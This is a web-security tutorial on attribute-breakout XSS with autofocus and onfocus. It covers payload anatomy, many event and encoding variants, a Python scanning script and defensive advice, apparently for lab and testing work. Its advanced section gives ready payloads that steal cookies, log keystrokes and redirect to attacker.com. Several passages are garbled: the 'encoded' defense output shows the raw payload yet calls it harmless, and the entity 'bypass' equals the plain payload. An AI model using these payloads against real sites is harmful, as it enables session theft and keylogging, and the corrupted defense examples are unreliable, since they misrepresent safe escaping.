Attribute Breakout XSS: autofocus + onfocus Auto-Execution
Overview
Attribute breakout XSS exploits user input reflected inside HTML attribute values. By injecting a closing quote, attackers can break out of the attribute context and inject malicious attributes like autofocus and onfocus to achieve automatic JavaScript execution.
The Attack Pattern
Vulnerable Code
<input type="text" value="USER_INPUT">
Payload
" autofocus onfocus=alert(1) x="
Result
<input type="text" value="" autofocus onfocus=alert(1) x="">
Execution
- Page loads
- Input auto-focuses (autofocus attribute)
- JavaScript executes immediately (onfocus event)
- No user interaction required!
Real-World Example
Lab Scenario
Original page structure:
<form>
<input type="text" name="search" value="REFLECTED_HERE">
</form>
<h1>0 search results for 'ALSO_REFLECTED_HERE'</h1>
Payload:
" autofocus onfocus=print(document.domain) x="
Result after reflection:
<form>
<input type="text" name="search" value="" autofocus onfocus=print(document.domain) x="">
</form>
<h1>0 search results for '" autofocus onfocus=print(document.domain) x="'</h1>
Key observation:
- XSS in
<input>element (attribute context) - No XSS in
<h1>element (text content context) - Same input, different contexts!
Component Breakdown
Part 1: Close the Attribute
"
Purpose: Closes the value=" attribute
Before:
<input value="USER_INPUT">
After first quote:
<input value="">
^
Attribute closed
Part 2: Inject Malicious Attributes
autofocus onfocus=alert(1)
autofocus:
- HTML5 attribute
- Makes element auto-focus on page load
- Requires no user interaction
- Works on input, textarea, select, button
onfocus:
- Event handler that fires when element gets focus
- Executes JavaScript code
- Triggered immediately by autofocus
- Creates automatic execution chain
Result:
<input value="" autofocus onfocus=alert(1)>
Part 3: Consume Trailing Quote
x="
Purpose:
- Starts a dummy attribute named
x - Consumes the original closing
"from the HTML - Keeps HTML valid
- Prevents syntax errors
Without dummy attribute:
<input value="" autofocus onfocus=alert(1)">
^
Orphaned quote!
Syntax error
With dummy attribute:
<input value="" autofocus onfocus=alert(1) x="">
^^
Our x=" consumes trailing "
HTML is valid!
Visual Breakdown
The Injection Process
Step 1: Original HTML
<input type="text" value="[INJECTION_POINT]">
Step 2: Inject Payload
Payload: " autofocus onfocus=alert(1) x="
Step 3: After Injection
<input type="text" value="" autofocus onfocus=alert(1) x="">
│ ││
└──── Closes value ││
││
New attributes ─────────────┘│
│
Consumes trailing quote ───────┘
The Parsed Attributes
<input
type="text" ← Original attribute
value="" ← Empty value (closed early)
autofocus ← Injected attribute (auto-focus)
onfocus=alert(1) ← Injected attribute (execute JS)
x="" ← Dummy attribute (consume quote)
>
Execution Flow
┌────────────────────────────────┐
│ 1. User Submits Malicious Search │
│ ?search=" autofocus onfocus... │
└────────────────────────────────┘
↓
┌────────────────────────────────┐
│ 2. Server Reflects Input │
│ In <input value=""> attribute │
│ And in <h1> text content │
└────────────────────────────────┘
↓
┌────────────────────────────────┐
│ 3. Browser Parses HTML │
│ Sees autofocus attribute │
│ Sees onfocus event handler │
└────────────────────────────────┘
↓
┌────────────────────────────────┐
│ 4. Page Finishes Loading │
│ autofocus triggers │
│ Input receives focus │
└────────────────────────────────┘
↓
┌────────────────────────────────┐
│ 5. onfocus Event Fires │
│ JavaScript executes │
│ alert(1) or custom payload │
└────────────────────────────────┘
↓
┌────────────────────────────────┐
│ 6. XSS Complete │
│ No user interaction needed! │
└────────────────────────────────┘
Quote Types: Double vs Single
If Double Quotes Used
Original:
<input value="USER_INPUT">
Payload:
" autofocus onfocus=alert(1) x="
Result:
<input value="" autofocus onfocus=alert(1) x="">
If Single Quotes Used
Original:
<input value='USER_INPUT'>
Payload:
' autofocus onfocus=alert(1) x='
Result:
<input value='' autofocus onfocus=alert(1) x=''>
If No Quotes (Less Common)
Original:
<input value=USER_INPUT>
Payload:
x autofocus onfocus=alert(1)
Result:
<input value=x autofocus onfocus=alert(1)>
Note: Space breaks out of unquoted attribute
Multiple Reflection Contexts
Why Same Input Has Different Results
Input can be reflected in multiple places:
1. Attribute Context (VULNERABLE)
<input value="USER_INPUT">
- Quotes can break out
- Can inject attributes
- Can inject events
- XSS possible
2. Text Content Context (SAFE)
<h1>USER_INPUT</h1>
<p>Search: USER_INPUT</p>
- Automatically HTML encoded
"displays as"<displays as<- No XSS (if properly encoded)
3. JavaScript Context (VULNERABLE)
<script>
var search = 'USER_INPUT';
</script>
- Can break out of string
- Can inject code
- XSS possible
Testing Strategy
Test string:
xss"'<>test
Check all reflections:
- View page source (Ctrl+U)
- Search for “xss” (your marker)
- Note each location
- Identify context (attribute, text, script)
- Test appropriate payload for each
Payload Variations
Basic Payloads
Double quotes:
" autofocus onfocus=alert(1) x="
" autofocus onfocus=alert(document.domain) x="
" autofocus onfocus=alert(document.cookie) x="
Single quotes:
' autofocus onfocus=alert(1) x='
' autofocus onfocus=alert(document.domain) x='
No quotes:
x autofocus onfocus=alert(1)
Alternative Events
If onfocus is blocked, try:
onclick (requires click):
" onclick=alert(1) x="
onmouseover (requires hover):
" onmouseover=alert(1) x="
onauxclick (right-click):
" onauxclick=alert(1) x="
onblur (when loses focus):
" autofocus onblur=alert(1) x="
Alternative Attributes
If autofocus is blocked:
accesskey (Alt+Shift+X):
" accesskey=x onclick=alert(1) x="
contenteditable:
" contenteditable onfocus=alert(1) x="
(Then click into the element)
tabindex:
" tabindex=1 onfocus=alert(1) x="
(Then tab to the element)
Encoding Bypasses
HTML entities:
" autofocus onfocus=alert(1) x="
JavaScript encoding:
" autofocus onfocus=\u0061lert(1) x="
String concatenation:
" autofocus onfocus=alert("1") x="
" autofocus onfocus=window['alert'](1) x="
Advanced Payloads
Cookie stealing:
" autofocus onfocus=fetch('https://attacker.com?c='+document.cookie) x="
Keylogging:
" autofocus onfocus=document.onkeypress=function(e){fetch('https://attacker.com?k='+e.key)} x="
Redirect:
" autofocus onfocus=location='https://attacker.com?c='+document.cookie x="
Common Vulnerable Patterns
Search Inputs
<input type="search" name="q" value="REFLECTED">
Text Inputs
<input type="text" name="username" value="REFLECTED">
Hidden Inputs
<input type="hidden" name="redirect" value="REFLECTED">
(Still executes with autofocus!)
Textarea
<textarea name="comment">REFLECTED</textarea>
Payload: </textarea><input autofocus onfocus=alert(1)>
Button Values
<button value="REFLECTED">Click</button>
Select Options
<option value="REFLECTED">Option</option>
Why Developers Miss This
Misconception 1: “I Encoded The Output”
Developer thinks:
// I'm encoding, so it's safe!
echo '<h1>' . htmlspecialchars($search) . '</h1>';
But forgets:
// Not encoding here!
echo '<input value="' . $search . '">';
Problem: Encoding in one place doesn’t protect other places
Misconception 2: “It’s Just a Search Box”
Developer thinks:
- “Nobody can exploit a search box”
- “It’s just showing search terms”
- “Users only search for products”
Reality:
- Attackers control the input
- Can inject anything
- Search boxes are prime XSS targets
Misconception 3: “Quotes Are Encoded”
Developer encodes in h1:
<h1>Search: " autofocus onfocus=alert(1) x="</h1>
Safe here
But not in input:
<input value="" autofocus onfocus=alert(1) x="">
Vulnerable here
Misconception 4: “I Use a WAF”
WAF might block:
<script>alert(1)</script><img src=x onerror=alert(1)>
But might miss:
" autofocus onfocus=alert(1) x="- Doesn’t look like typical XSS
- No tags, just attributes
Defense Strategies
1. Always Encode for Context
For attribute values (CRITICAL):
<input value="<?= htmlspecialchars($input, ENT_QUOTES, 'UTF-8') ?>">
Flags explained:
ENT_QUOTES- Encodes both"and''UTF-8'- Character encoding
Result:
<!-- Input: " autofocus onfocus=alert(1) x=" -->
<input value="" autofocus onfocus=alert(1) x="">
<!-- Harmless! Displayed as text, not executed -->
2. Use Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self'
Benefit:
- Blocks inline event handlers
onfocus=alert(1)won’t execute- Defense-in-depth layer
3. Use Frameworks with Auto-Escaping
React:
<input value={userInput} />
// Automatically escaped
Vue:
<input :value="userInput" />
// Automatically escaped
Angular:
<input [value]="userInput" />
// Automatically escaped
4. Validate Input
Whitelist approach:
// Only allow alphanumeric and spaces
if (!/^[a-zA-Z0-9\s]+$/.test(input)) {
return "Invalid input";
}
Blacklist approach (less secure):
// Block dangerous characters
if (/["'<>]/.test(input)) {
return "Invalid input";
}
Note: Blacklists are easily bypassed
5. Sanitize Libraries
DOMPurify (JavaScript):
const clean = DOMPurify.sanitize(dirty);
Bleach (Python):
import bleach
clean = bleach.clean(dirty)
Testing Methodology
Step 1: Identify Input Points
- URL parameters
- Form fields
- Headers (User-Agent, Referer)
- Cookies
- POST body
Step 2: Submit Test String
xss"'<>test123
Step 3: Find All Reflections
View page source:
- Ctrl+U (Chrome/Firefox)
- Right-click -> View Source
Search for marker:
- Ctrl+F -> “xss”
- Note each location
- Check context
Step 4: Test Appropriate Payload
If in attribute with double quotes:
" autofocus onfocus=alert(1) x="
If in attribute with single quotes:
' autofocus onfocus=alert(1) x='
If in text content:
<img src=x onerror=alert(1)>
Step 5: Verify Execution
- Submit payload
- Check if alert fires
- Open DevTools Console (F12)
- Look for errors
- Verify autofocus works
Step 6: Refine Payload
- Try different events
- Try encoding
- Try alternative attributes
- Document working payload
Automation Script
import requests
from urllib.parse import quote
def test_attribute_xss(url, param='search'):
"""
Test for attribute breakout XSS
"""
payloads = [
# Double quote variants
'" autofocus onfocus=alert(1) x="',
'" autofocus onfocus=alert(document.domain) x="',
'" onclick=alert(1) x="',
'" onmouseover=alert(1) x="',
# Single quote variants
"' autofocus onfocus=alert(1) x='",
"' onclick=alert(1) x='",
# No quotes
'x autofocus onfocus=alert(1)',
# Encoded
'" autofocus onfocus=alert(1) x="',
]
print(f"[*] Testing {url}\n")
for i, payload in enumerate(payloads, 1):
print(f"[*] Payload {i}: {payload}")
try:
r = requests.get(url, params={param: payload}, timeout=10)
# Check if reflected in attribute context
if 'autofocus' in r.text and 'onfocus' in r.text:
# Check if in input/textarea/button
if any(tag in r.text for tag in ['<input', '<textarea', '<button']):
print(f" Potentially vulnerable!")
print(f" Check manually: {r.url}")
else:
print(f" Reflected but context unclear")
else:
print(f" Not reflected or blocked")
except Exception as e:
print(f" Error: {str(e)}")
print()
# Usage
test_attribute_xss('https://target.com/search')
Key Takeaways
- Context Matters: Same input can be safe in text but vulnerable in attributes
- Quotes Break Out: Closing quotes let you escape attribute values
- autofocus + onfocus: Creates automatic execution without user interaction
- Dummy Attributes: Consume trailing quotes to keep HTML valid
- Multiple Reflections: Always check ALL places input appears
- Defense Everywhere: Must encode in every context, not just one
- Frameworks Help: Modern frameworks auto-escape by default
- CSP Adds Layer: Content Security Policy blocks inline handlers
Related Techniques
- Systematic XSS Testing with Burp Intruder
- XSS Testing Punch List
- SVG xlink:href Namespace Bypass
- SVG Dynamic Attribute Setting via Animation
References
- PortSwigger XSS Cheat Sheet
- OWASP XSS Prevention Cheat Sheet
- HTML Standard - Attributes